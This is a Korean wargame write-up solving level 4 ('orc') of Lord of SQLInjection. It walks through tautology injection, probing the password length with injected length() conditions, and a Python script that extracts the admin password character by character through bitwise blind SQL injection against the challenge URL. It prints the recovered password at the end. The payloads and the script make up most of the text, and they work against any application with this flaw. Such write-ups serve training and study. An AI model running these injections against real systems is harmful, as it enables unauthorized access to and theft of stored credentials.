Lord of SQLInjection 4번 문제 orc를 풀이한다.
select id from prob_orc where id='admin' and pw='{$_GET[pw]}
구문이 참이되면 Hello admin
을 출력한다.
select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'
구문이 참이되면 패스워드를 조회한다. 이후 DB에서 반환된 패스워드와 입력한 패스워드가 동일하면 orc
를 출력하며 문제가 해결된다.
Hello admin을 출력할 수 있는 조건은 다음과 같다.
pw 매개변수에 참을 반환하는 쿼리를 삽입해 공격을 시작한다.
id='admin' and pw='2' 연산 결과는 False
이다. 그러나 or id='admin' 쿼리 결과는 True
기 때문에 id 조회, 즉 Hello admin 문자열이 출력된다.
Hello admin을 출력하였지만, 패스워드를 찾는 쿼리가 아니기 때문에 이 방식은 의미가 없다.
따라서 참/거짓을 반환하는 쿼리로 공격하는 블라인드 SQL 인젝션을 시도해야 한다.
패스워드의 길이를 구해보자.
select id from prob_orc where id='admin' and pw='2' or id = 'admin' and length(pw) < 5 -- -
id 조회에 실패했다. 패스워드 길이는 5보다 크다.
length(pw) = 8 -- -
쿼리 삽입 결과, 패스워드 길이는 8글자이다.
글자 수가 길어 공격 시간 소모가 크기 때문에 파이썬 익스플로잇 코드를 구현하였다.
블라인드 SQL 인젝션은 대표적으로 순차 탐색, 이진 탐색, 비트 탐색 3가지 방식이 있다.
비트 탐색이 속도도 준수하고 알고리즘 구현도 쉽기 때문에 비트 탐색으로 구현하였다.
import requests
import sys
def attack_payload():
control_point = '<h2>Hello admin</h2>'
binary_number = [1, 2, 4, 8, 16, 32, 64]
binary_result = 0
result = []
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
cookie = {'PHPSESSID':''}
# token
data = ""
query = '\' or id=\'admin\' and ascii(substr(pw,'
for j in range(1, 11):
print(f'========{j}========')
for k in binary_number:
payload = f"{URL} {query} {j},1))%26{k}={k}+--+-"
resp = requests.get(payload, cookies=cookie) # , verify=False)
if control_point in resp.text:
# 이진수 총합을 구한다.
binary_result += k
print(f'!!!!!!!! binary == {k}')
if binary_result == 0:
# j번째에서 추출한 데이터 없을 경우
continue # 이진수 합이 0이면 다음 데이터를 추출한다.
else:
print(f'Fail Payload= {payload}')
continue
if binary_result > 0:
# 데이터 추출
data = chr(binary_result)
binary_result = 0
result.append(data)
elif binary_result == 0:
return result
# 인젝션 종료
if len(result) == 0:
# 인젝션 실패
sys.exit()
# 더 이상 추가할 데이터가 없다면 반복문을 종료한다
return result
result = attack_payload()
print(result)
공격 결과, 095a9852
값을 획득하였다.
획득한 패스워드로 질의 결과, 문제를 클리어했다.